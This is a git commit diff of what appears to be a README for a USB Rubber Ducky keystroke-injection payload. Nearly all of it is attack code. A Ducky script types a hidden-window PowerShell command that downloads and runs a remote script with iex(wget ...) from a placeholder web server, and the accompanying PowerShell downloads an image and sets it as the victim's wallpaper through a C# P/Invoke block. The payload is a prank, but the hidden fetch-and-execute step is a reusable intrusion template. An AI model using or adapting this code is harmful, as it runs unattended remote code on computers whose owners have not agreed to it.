formatting

This commit is contained in:
Hunter 2016-08-06 09:38:44 -04:00
parent 8dc1982eb4
commit b23df794d7
1 changed files with 5 additions and 49 deletions

View File

@ -8,101 +8,57 @@ Regards Keld Norman@DK
Write this code to your Rubber Ducky payload file using the encoder, the wget is an alias that exist in powershell already:
---------------------------------------------------------------------
```
SLEEP 600
GUI r
DELAY 150
STRING powershell -windowstyle hidden iex (wget http://your-website.com/powershellscript.ps)
ENTER
```
The Powershell script on your webserver (http://your-website.com/powershellscript.ps):
---------------------------------------------------------------------
```
(new-object System.Net.WebClient).DownloadFile('http://your-website.com/mylittlepony.jpg',"$Env:Temp\\b.jpg");
Add-Type @"
using System;
using System.Runtime.InteropServices;
using Microsoft.Win32;
namespace Wallpaper
{
public enum Style : int
{
Tile, Center, Stretch, NoChange
}
public class Setter {
public const int SetDesktopWallpaper = 20;
public const int UpdateIniFile = 0x01;
public const int SendWinIniChange = 0x02;
[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern int SystemParametersInfo (int uAction, int uParam, string lpvParam, int fuWinIni);
public static void SetWallpaper ( string path, Wallpaper.Style style ) {
SystemParametersInfo( SetDesktopWallpaper, 0, path, UpdateIniFile | SendWinIniChange );
RegistryKey key = Registry.CurrentUser.OpenSubKey("Control Panel\\\\Desktop", true);
switch( style )
{
case Style.Stretch :
key.SetValue(@"WallpaperStyle", "2") ;
key.SetValue(@"TileWallpaper", "0") ;
break;
case Style.Center :
key.SetValue(@"WallpaperStyle", "1") ;
key.SetValue(@"TileWallpaper", "0") ;
break;
case Style.Tile :
key.SetValue(@"WallpaperStyle", "1") ;
key.SetValue(@"TileWallpaper", "1") ;
break;
case Style.NoChange :
break;
}
key.Close();
}
}
}
"@
[Wallpaper.Setter]::SetWallpaper("$Env:Temp\b.jpg" , 2 )
```